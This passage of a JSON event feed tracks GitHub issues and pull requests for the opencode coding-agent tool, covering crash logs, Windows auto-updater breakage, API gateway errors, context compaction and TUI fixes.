-rn 'Title' <redacted-external-repo>/info.go\" action.action=allow timestamp=2026-08-03T05:23:38.571Z level=INFO run=46b9e069 message=tracking hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:38.608Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=337 timestamp=2026-08-03T05:23:41.979Z level=INFO run=46b9e069 message=evaluated permission=bash pattern=\"grep -n 'Title' <redacted-external-repo>/info.go\" action.action=allow timestamp=2026-08-03T05:23:42.127Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=338 timestamp=2026-08-03T05:23:45.147Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=339 timestamp=2026-08-03T05:23:45.220Z level=INFO run=46b9e069 message=tracking hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:45.239Z level=INFO run=46b9e069 message=process session.id=ses_03a235b15ffe7x5NafNq3gRolO messageID=msg_fc613f792001zTDso3CX0q0ARc timestamp=2026-08-03T05:23:45.239Z level=INFO run=46b9e069 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03a235b15ffe7x5NafNq3gRolO small=false agent=general mode=subagent timestamp=2026-08-03T05:23:45.243Z level=INFO run=46b9e069 message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode llm.model=deepseek-v4-flash-free --- [log ends here — crashed right after starting a new LLM stream, mid-loop, step 339, ~10s cadence] --- ``` Notable: this was a tight loop of small tool-call steps every 3–10s (edits, bash, git-snapshot tracking on every step) for the duration of an 87-minute session before dying mid-stream-start. </details> ## Request Since the embedded Bun version is fixed by the opencode release (per the crash page: \"The app developer controls which version of Bun is used\"), an update would need to come from an opencode release with a newer/patched Bun. Filing this in case it's useful to correlate against other Bun-embedded segfault reports already open against this repo, and in case the `bun.report` hash is retrievable by maintainers to get the actual native stack trace. The excerpts above are trimmed/redacted from a much larger structured log that also covers unrelated private projects on my machine. If a maintainer needs the full raw `opencode.log` (or the sqlite session DB) to dig further, I'm willing to share it under an NDA — happy to coordinate on that separately rather than posting it publicly here.",
          "url": "https://github.com/anomalyco/opencode/issues/40219",
          "createdAt": "2026-08-03T05:51:19Z",
          "updatedAt": "2026-08-13T09:42:13Z",
          "timestamp": "2026-08-13T09:42:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "shlomoweb1",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:83fd1e8784f473eed4ad",
        "signalId": "github:anomalyco/opencode:issue:41470",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41470",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "“Copied to clipboard” doesn't work",
          "text": "### Description When using OpenCode inside VSCode Server (Docker environment), copying text from an OpenCode session shows the message Copied to clipboard, but the text is not actually copied to the system clipboard and cannot be pasted elsewhere. ### Plugins None ### OpenCode version 1.18.14 ### Steps to reproduce 1. Start VSCode Server inside a Docker container. 2. Run OpenCode 1.18.14 in VSCode Server. 3. Select some text in an OpenCode session and copy it. 4. OpenCode displays: [Copied to clipboard] 5. Try to paste the copied text into another application, terminal, or editor. Expected Behavior: After copying, the selected text should be available in the system clipboard and should be possible to paste into other applications or terminals. Actual Behavior: Although OpenCode displays: [Copied to clipboard], the text is not actually copied to the clipboard, and nothing can be pasted elsewhere. ### Screenshot and/or share link _No response_ ### Operating System Linux version 5.15.0-164-generic (buildd@lcy02-amd64-114) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 ### Terminal bash",
          "url": "https://github.com/anomalyco/opencode/issues/41470",
          "createdAt": "2026-08-10T02:48:58Z",
          "updatedAt": "2026-08-13T09:41:16Z",
          "timestamp": "2026-08-13T09:41:16Z",
          "metrics": {
            "reactions": 1,
            "comments": 14
          },
          "labels": [],
          "author": "WqxLoveCoding",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:84e8c1272b575acae16a",
        "signalId": "github:anomalyco/opencode:pull_request:39863",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:39863",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): show N/A spent for models without pricing",
          "text": "### Issue for this PR Closes #39869. Related to #17223 (runtime cost tracking for custom providers — this PR addresses only the misleading display for unpriced models, not the runtime cost calculation or usage handling). ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In the TUI sidebar Context section, the spent line now reads `N/A spent` when the current session's model has no pricing instead of `$0.00 spent`. A model is considered priced only when its `cost` entry has at least one of `input`/`output` non-zero. For example, a custom model added to `opencode.json` **with** pricing: ```json \"models\": { \"deepseek/deepseek-v4-flash-0731\": { \"name\": \"DeepSeek V4 Flash 0731\", \"cost\": { \"input\": 0.14, \"output\": 0.28, \"cache_read\": 0.028 } } } ``` shows `$0.21 spent` in the sidebar Context, whereas the same model added **without** a `cost` entry: ```json \"models\": { \"deepseek/deepseek-v4-flash-0731\": { \"name\": \"DeepSeek V4 Flash 0731\" } } ``` now shows `N/A spent` instead of a misleading `$0.00 spent`. The terminal UI footer is unchanged; when cost is not set for a model, no session amount displays there. The pricing decision is extracted into a small pure helper (`modelHasPricing`) so the display logic is unit-testable without mounting the TUI. ### How did you verify your code works? - `bun typecheck` passed in `packages/tui`. - Added a focused unit test covering the pricing decision (no `cost` entry, zero input/output, non-zero input, non-zero output). - Confirmed the sidebar shows `N/A spent` when the session model has no pricing and the currency amount when it does. ### Screenshots / recordings This is a terminal UI change. Expected sidebar Context output for a model without pricing: ``` Context 12,345 tokens 42% used N/A spent ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/39863",
          "createdAt": "2026-07-31T11:30:31Z",
          "updatedAt": "2026-08-13T09:33:50Z",
          "timestamp": "2026-08-13T09:33:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "zbcoding",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e1c8ebaae96267e994af",
        "signalId": "github:anomalyco/opencode:pull_request:42292",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42292",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): recover orphaned task runs",
          "text": "### Issue for this PR Closes #42286 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a persisted `task` call outlives its in-memory session runner, abort now marks the stale task part and its parent assistant message as aborted instead of leaving both unfinished. It also avoids the `dummy` session route during `--continue --fork` startup and returns to home when no session is available. ### How did you verify your code works? - Ran native `tsgo --noEmit` in `packages/opencode` and `packages/tui`. - Ran focused runner, task, orphan-recovery HTTP, and TUI lifecycle tests. ### Screenshots / recordings Not applicable: terminal startup behavior is covered by a lifecycle test. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42292",
          "createdAt": "2026-08-13T09:15:38Z",
          "updatedAt": "2026-08-13T09:26:43Z",
          "timestamp": "2026-08-13T09:26:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "0xfed",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:cb557627cccfbcd4398f",
        "signalId": "github:anomalyco/opencode:issue:42286",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42286",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Abort leaves orphaned task calls pending",
          "text": "### Description If OpenCode loses the in-memory runner for a session while a `task` tool call is still persisted as `pending` or `running`, aborting the session only marks it idle. The parent assistant message and task part remain unfinished, so the transcript shows a task that never completed. The TUI startup path for `--continue --fork` can also briefly route through a placeholder session ID (`dummy`), which produces an invalid-session error instead of returning to home when no session is available. ### Steps to reproduce 1. Start a session that invokes the `task` tool. 2. Interrupt or restart the local runner after the task part is persisted but before it reaches a terminal state. 3. Abort the parent session. 4. Observe the task part still shown as `pending` or `running` and its assistant message left incomplete. For the fork path: 1. Run `opencode --continue --fork` with no resumable root session. 2. Observe the placeholder-session validation error. ### Expected behavior Abort should cancel any live runner, then settle orphaned `task` parts with an aborted error and complete their parent assistant message. `--continue --fork` should show a loading state and return home with an error when no session can be forked. ### Plugins None ### OpenCode version 1.18.x ### Operating System Linux ### Terminal Terminal emulator",
          "url": "https://github.com/anomalyco/opencode/issues/42286",
          "createdAt": "2026-08-13T09:03:48Z",
          "updatedAt": "2026-08-13T09:23:20Z",
          "timestamp": "2026-08-13T09:23:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "0xfed",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e8da3619ed14ed6b15b0",
        "signalId": "github:anomalyco/opencode:pull_request:42290",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42290",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): scope review panel to the session's own file changes",
          "text": "### Issue for this PR Closes #41399 ### Type of change - [x] Bug fix ### What does this PR do? The Review / Files Changed panel in a session shows the full working-tree diff of the project directory. The working tree is shared by every session in the same folder, so a clean session B displays files that a concurrent session A is actively writing (#41399, #40736). The panel was not scoped to what this session actually changed, and the VCS query cache key (`[\"session-vcs\", directory, branch, default_branch]`) contained no session ID, so cache entries were shared across sessions. Changes: - Add a `sessionTouchedFiles()` helper (with unit tests) that collects the files this session's own turns changed, from the per-message diff summaries the server stores. - In `git`/`branch` review mode, intersect the working-tree diff with that set, so the panel only shows changes this session made (empty for sessions that wrote nothing). - Add `params.id` to the `session-vcs` cache key so each session's VCS state is cached separately. The server-side snapshot scoping is tracked separately (#40736, complementary PR #40821); this PR fixes the app-layer symptom and works regardless of server behaviour. ### How did you verify your code works? - `bun run test:unit` in `packages/app`: 503 pass / 0 fail (includes 5 new unit tests for `sessionTouchedFiles`) - `bun run typecheck`: green - Live functional check against a real server + real model turns: a clean session shows an empty Review panel while another session's changes exist in the working tree; the session's own writes appear in its per-message diff (data verified server-side). ### Screenshots / recordings No screenshot included — verification was done via the automated suite and the live functional negative control described above. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42290",
          "createdAt": "2026-08-13T09:08:58Z",
          "updatedAt": "2026-08-13T09:17:27Z",
          "timestamp": "2026-08-13T09:17:27Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "yaosongding",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b4a9d8f691fe11283806",
        "signalId": "github:anomalyco/opencode:issue:42291",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42291",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Auto-updater breaks global npm install: stub binary + missing shims, hung npm processes left behind",
          "text": "## Bug Report: Auto-updater can permanently break the global install (stub binary + missing shims), and hung `npm install` processes keep running **Environment:** Windows 11 (10.0.26200), node v24.15.0, npm 11.12.1, opencode installed via `npm install -g opencode-ai` ### Summary On every startup, opencode spawns a **background** `npm install -g opencode-ai@<latest>` (the parent process of the npm process is the opencode.exe process itself). When the npm registry is unreachable/flaky (e.g. `ECONNRESET`), this install **hangs for 15+ minutes** and, when it finally progresses, it can leave the global installation in a broken state: 1. npm extracts the new tarball, which **overwrites `bin/opencode.exe` (the currently running binary!) with the 479-byte placeholder stub** that says \"Error: opencode-ai's postinstall script was not run.\" 2. npm removes the old bin shims (`opencode`, `opencode.cmd`, `opencode.ps1`) before creating new ones - the failed install leaves only `.opencode-*` temp files behind. 3. The postinstall then fails with `EBUSY: resource busy or locked` because the still-running opencode processes hold the old binary file (Windows locks running executables) - the install rolls back, but the shims are never recreated and the stub stays in place. ### Result - `opencode` is no longer recognized in new terminal sessions (command not found). - Even invoking the exe directly prints the \"postinstall was not run\" stub error. - Existing opencode sessions keep working (the old binary stays mapped in memory) - so the breakage is invisible until you open a new terminal. ### Observed evidence - `npm install -g opencode-ai@1.18.18` started at 16:49 and 16:56, parented by `cmd.exe /d /s /c` whose parent was the `opencode.exe` process (auto-update), **still alive/hung ~30 min later**. - npm debug log: `ECONNRESET Invalid response body while trying to fetch https://registry.npmjs.org/opencode-ai: aborted`. - After the failed install: `bin/opencode.exe` = 479-byte stub (LastWriteTime = the moment of the breakage), shims missing, `.opencode-UwDeVezx` / `.opencode.cmd-*` / `.opencode.ps1-*` temp files left behind. ### Suggested fixes 1. **Don't replace the binary in place while a process is running from it** - install/verify first, then atomically swap; or refuse to update when an opencode process is still running (on Windows this can never work). 2. **Verify postinstall succeeded before removing old bin links**, and restore the previous state on failure. 3. **Run the updater with a network timeout/retry limit** instead of hanging indefinitely in the background. 4. **Provide a supported way to disable auto-update** (e.g. `autoupdate: false`) - today there is no config option to opt out.",
          "url": "https://github.com/anomalyco/opencode/issues/42291",
          "createdAt": "2026-08-13T09:14:25Z",
          "updatedAt": "2026-08-13T09:15:42Z",
          "timestamp": "2026-08-13T09:15:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hyp-type",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:aad07116eef24169eb48",
        "signalId": "github:anomalyco/opencode:issue:39827",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39827",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Zen] AuthError: \"Request blocked by upstream provider\" — all Zen models broken, account recreated",
          "text": "### Description All OpenCode Zen models return `AuthError: Request blocked by upstream provider.` — **every single model**, both paid and free. This is NOT a client-side issue. Direct provider API keys (DeepSeek, Anthropic) work perfectly. Steps to reproduce 1. Connect OpenCode Zen via `/connect` with a valid API key 2. Run any Zen model: opencode run \"hola\" --model opencode/deepseek-v4-pro 3. Or test the Zen API directly with curl: ```bash curl -H \"Authorization: Bearer <zen-api-key>\" \\ -H \"Content-Type: application/json\" \\ -d '{\"model\":\"gpt-5.4-nano\",\"messages\":[{\"role\":\"user\",\"content\":\"hola\"}]}' \\ https://opencode.ai/zen/v1/chat/completions 4. Response: {\"type\":\"error\",\"error\":{\"type\":\"AuthError\",\"message\":\"Request blocked by upstream provider.\"}} Zen models should respond normally with valid API keys. All Zen models return the same AuthError — including: - opencode/gpt-5.4-nano (auto-used for session titles) - opencode/deepseek-v4-pro (paid) - opencode/minimax-m3-free (free) Environment - OS: Windows 11 - OpenCode version: 1.18.9 (latest) - Shell: PowerShell 7 What I've already tried (none helped) - Recreated Zen account from scratch - Generated new API keys multiple times - Cleared OpenCode cache (%USERPROFILE%\\.cache\\opencode) - Cleared OpenCode storage (%USERPROFILE%\\.local\\share\\opencode) - Tested with curl directly (bypassing OpenCode entirely) — same error - Rolled back to older OpenCode version — same error - Direct provider APIs work fine (DeepSeek direct key, Anthropic direct key) Evidence OpenCode log: level=ERROR providerID=opencode modelID=gpt-5.4-nano error=\"AI_APICallError: Request blocked by upstream provider.\" Direct curl: {\"type\":\"error\",\"error\":{\"type\":\"AuthError\",\"message\":\"Request blocked by upstream provider.\"}} Root cause analysis Since ALL Zen models fail (different upstream providers: OpenAI, DeepSeek, MiniMax, etc.) and even a fresh account with new keys fails identically, the issue is likely in Zen's authentication/billing gateway layer — possibly a corrupted tenant state or a platform-side block. *** UPDATE *** 31/07/26 API key authenticates successfully (opencode models lists 60+ Zen models) but all chat completions fail with AuthError: Request blocked by upstream provider. Direct curl confirms same error without OpenCode. Recreated account, new keys — identical result. Direct provider keys (DeepSeek, Anthropic) work fine.",
          "url": "https://github.com/anomalyco/opencode/issues/39827",
          "createdAt": "2026-07-31T07:41:25Z",
          "updatedAt": "2026-08-13T09:12:30Z",
          "timestamp": "2026-08-13T09:12:30Z",
          "metrics": {
            "reactions": 7,
            "comments": 10
          },
          "labels": [],
          "author": "juanmah98",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bd5ca96dfa238c792960",
        "signalId": "github:anomalyco/opencode:issue:40196",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40196",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Conversation history too large to compact - exceeds model context limit",
          "text": "It's a brand new session, and I still this error, what's happened with the context limit?",
          "url": "https://github.com/anomalyco/opencode/issues/40196",
          "createdAt": "2026-08-03T00:21:43Z",
          "updatedAt": "2026-08-13T09:08:36Z",
          "timestamp": "2026-08-13T09:08:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "kooshikooo-lab",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:acc5df144f9454469c02",
        "signalId": "github:anomalyco/opencode:pull_request:36589",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36589",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): bound compaction request size",
          "text": "## What Large sessions no longer become permanently wedged when their model context fits but the serialized inference request exceeds the service's 10 MiB body limit. Before, auto-compaction only considered model token pressure. A session at roughly 240k of a 1M-token context could therefore skip compaction and receive HTTP 413 forever. Compaction itself could also exceed an upstream body limit because it summarized the entire old history in one request. After this change, OpenCode compacts before the request reaches 8 MiB and rolls large histories through bounded summary requests while preserving a final recent tail. ## How - `packages/core/src/session/runner/llm.ts` builds the semantic request before the compaction decision and measures its system, messages, and tools payload. - `packages/core/src/session/compaction.ts` treats 8 MiB as independent compaction pressure and summarizes old history in 32k-token chunks, carrying each structured summary into the next chunk. - Intermediate summaries remain internal; only the final summary delta and durable compaction result are published. - Compaction output is capped at 4,096 tokens. ## Scope This does not raise the inference service's 10 MiB request-body limit. It keeps OpenCode requests safely below that independent transport boundary. ## Testing - `bun run test test/session-compaction.test.ts` in `packages/core`: 6 passed - `bun typecheck` in `packages/core` - Commit hook: all 31 workspace typechecks passed - Production recovery: the previously wedged Slack-backed session completed bounded compaction, persisted `session.compaction.ended`, and then completed the requested response in the same thread ## Flow ```mermaid flowchart TD A[Build semantic LLM request] --> B{Token pressure or body >= 8 MiB?} B -- no --> C[Send normal model request] B -- yes --> D[Keep recent tail] D --> E[Split older history into bounded chunks] E --> F[Summarize chunk] F --> G{More chunks?} G -- yes --> H[Carry summary into next chunk] H --> F G -- no --> I[Persist final summary + recent tail] I --> A ```",
          "url": "https://github.com/anomalyco/opencode/pull/36589",
          "createdAt": "2026-07-13T01:39:05Z",
          "updatedAt": "2026-08-13T09:08:26Z",
          "timestamp": "2026-08-13T09:08:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:367fa10d19d29f8ff44b",
        "signalId": "github:anomalyco/opencode:issue:42287",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42287",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Session title silently empty when the title model is a reasoning model (returns only a `<think>` block)",
          "text": "### Description `ensureTitle()` generates the session title with the **small** model (`small: true`). When that model is a *reasoning* model (e.g. GLM-4.6 / Kimi K3 via OpenRouter), the completion is frequently reasoning-only: after the `<think>…</think>` strip in `ensureTitle`, the remaining text is empty. The function then hits `if (!cleaned) return` and the session silently keeps its default `New session - <timestamp>` title. It is intermittent (a reasoning model returns usable text on some turns, think-only on others), which matches the \"happens at times\" reports below. ### Affected code `packages/opencode/src/session/prompt.ts` — `ensureTitle()`: ```ts const cleaned = text .replace(/<think>[\\s\\S]*?<\\/think>\\s*/g, \"\") .split(\"\\n\").map(l => l.trim()).find(l => l.length > 0) if (!cleaned) return // reasoning-only output -> empty -> no title, silently ``` ### Steps to reproduce 1. Set the small/title model to a reasoning model (e.g. `openrouter/z-ai/glm-4.6`). 2. Start a new session and send a normal message. 3. On turns where the title model returns only reasoning, the title stays `New session - <timestamp>`. ### Root cause `ensureTitle` withholds the title whenever the model output is empty, instead of falling back to a deterministic source. Reasoning-only output is the common trigger. ### Related open issues Same symptom: #13710, #31592, #34257, #30662. Same underlying family (reasoning-only / empty output treated as a successful, empty result): #37372, #41469, #41571. ### Proposed fix Fall back to the first user message when the model output is empty — the title is then never withheld, regardless of *why* the model returned nothing. I have this change ready and will open a PR referencing this issue.",
          "url": "https://github.com/anomalyco/opencode/issues/42287",
          "createdAt": "2026-08-13T09:05:45Z",
          "updatedAt": "2026-08-13T09:06:42Z",
          "timestamp": "2026-08-13T09:06:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "adaline-ankit",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:03ea7196038704d8ca41",
        "signalId": "github:anomalyco/opencode:issue:42279",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42279",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Report: `deepseek-v4-pro` fails on OpenCode Go `/v1/responses` with 503 while `deepseek-v4-flash` works",
          "text": "### Description Report: `deepseek-v4-pro` fails on OpenCode Go `/v1/responses` with 503 while `deepseek-v4-flash` works ## Summary Using Codex (Codex++ / Codex Desktop, Windows 11) with OpenCode Go: - Base URL: `https://opencode.ai/zen/go/v1` - Wire API: `responses` - Model: `deepseek-v4-pro` `deepseek-v4-flash` works with the exact same setup. `deepseek-v4-pro` consistently fails with: ```text Unexpected status 503 Service Unavailable: Upstream request failed: Endpoint is unavailable. url: https://opencode.ai/zen/go/v1/responses cf-ray: a2a64751b90a6817-SEA ``` Codex retries (\"正在重新连接 5/5\") and receives the same 503 each time. ## Expected behavior `POST https://opencode.ai/zen/go/v1/responses` with model `deepseek-v4-pro` should be routed to an available upstream and return a normal response. Ideally it should be forwarded to DeepSeek's native Responses API the way `deepseek-v4-flash` currently is. ## Steps to reproduce 1. Configure Codex with `model = \"deepseek-v4-pro\"`, `base_url = \"https://opencode.ai/zen/go/v1\"`, `wire_api = \"responses\"`. 2. Start a new conversation and send a normal request. 3. Observe the 503 error above. The same configuration with `deepseek-v4-flash` works normally. ## Notes - Reproduced on 2026-08-13. - `Endpoint is unavailable` suggests the gateway cannot reach a usable upstream for this model rather than a client-side request error. - DeepSeek's official API now supports the Responses API for `deepseek-v4-pro` (DeepSeek-V4-Pro-0813), so native passthrough should be feasible. - Related issues: #42135, #42090, #42091, #40171. ## Environment - OS: Windows 11 - Client: Codex Desktop / Codex++ - Model provider: OpenCode Go (`https://opencode.ai/zen/go/v1`) - Wire API: `responses` ### Plugins N/A，因为问题是在 Codex++ / Codex Desktop 里复现的，不是 OpenCode CLI。 ### OpenCode version N/A，没有使用 OpenCode 客户端，故障点是 https://opencode.ai/zen/go/v1。 ### Steps to reproduce 补上了完整 config.toml 片段，包含 model = \"deepseek-v4-pro\"、base_url = \"https://opencode.ai/zen/go/v1\"、wire_api = \"responses\"，并说明换成 Flash 可复现出“同一配置可正常使用”的对照组。 ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal N/A，在桌面客户端复现。",
          "url": "https://github.com/anomalyco/opencode/issues/42279",
          "createdAt": "2026-08-13T08:35:48Z",
          "updatedAt": "2026-08-13T09:03:40Z",
          "timestamp": "2026-08-13T09:03:40Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "KomorebiLabs",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:901f5de508a751460afc",
        "signalId": "github:anomalyco/opencode:issue:41714",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41714",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG]: Windows Desktop sidecar crashes with exitCode -2147483645, then \"Failed to fetch\"",
          "text": "### Description OpenCode Desktop starts normally on Windows and the local server initially becomes available, but after a short time the `opencode server` sidecar crashes. The UI then reports `TypeError: Failed to fetch`. The issue is reproducible on both 1.18.15 and 1.18.16, including with a completely empty local project outside OneDrive. The logs show: sidecar exited { code: 2147483651 } child process gone { reason: 'crashed', exitCode: -2147483645, serviceName: 'node.mojom.NodeService', name: 'opencode server' } `opencode serve` works correctly when launched manually, and `/global/health` returns healthy = True. I also reinstalled/updated Microsoft Edge WebView2 Runtime, with no change. GitHub suggested #29599 as a possible duplicate, but that issue reports ACCESS_VIOLATION (0xC0000005) / AttachConsole failures, while this reproduction consistently exits with 0x80000003 (-2147483645). GitHub also suggested #33069 as a possible duplicate, but that issue reports intermittent ACCESS_VIOLATION (0xC0000005) crashes approximately every 2 days. This issue reproduces within seconds/minutes and consistently exits with 0x80000003 (-2147483645). [opencode-OC-Test-logs.zip](https://github.com/user-attachments/files/30929762/opencode-OC-Test-logs.zip) ### Plugins None ### OpenCode version 1.18.15 and 1.18.16 ### Steps to reproduce 1. Create an empty local directory: C:\\OC-Test 2. Open C:\\OC-Test as a project in OpenCode Desktop. 3. Wait for the local server to start. 4. After a short time, session loading fails with \"Failed to fetch\". 5. utility.log shows that the `opencode server` sidecar crashed with exitCode -2147483645. ### Screenshot and/or share link <img width=\"1355\" height=\"798\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/fa19f172-928e-4b95-8dc9-c67c55733ea2\" /> ### Operating System Windows 11 Business 24H2 (OS Build 26100.8893) ### Terminal Windows PowerShell",
          "url": "https://github.com/anomalyco/opencode/issues/41714",
          "createdAt": "2026-08-11T09:32:04Z",
          "updatedAt": "2026-08-13T09:01:24Z",
          "timestamp": "2026-08-13T09:01:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "Annie9682",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6b7485ce806a42bf2dd0",
        "signalId": "github:anomalyco/opencode:issue:40401",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40401",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Opencode Desktop fails to upgrade",
          "text": "### Description Installer fails with error message (\"OpenCode cannot be closed. Please close it manually and click Retry to continue\" -> \"Failed to uninstall old application files. Please try running the installer again\"). Even though OpenCode is not running and I have manually uninstalled OpenCode Desktop I still get the same message. ### Plugins None ### OpenCode version 1.18.11 ### Steps to reproduce Either click on \"update\" icon in the top right corner of the OpenCode Desktop window or download installer from the opencode.ai web site. ### Screenshot and/or share link _No response_ ### Operating System Windows 11 Enterprise 25H2 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/40401",
          "createdAt": "2026-08-04T08:49:09Z",
          "updatedAt": "2026-08-13T08:54:46Z",
          "timestamp": "2026-08-13T08:54:46Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "janmoreforsk",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:43a882db4c30a9d8e3c1",
        "signalId": "github:anomalyco/opencode:issue:42284",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42284",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Opening a folder with the same name in different project directories navigates to the previously opened project",
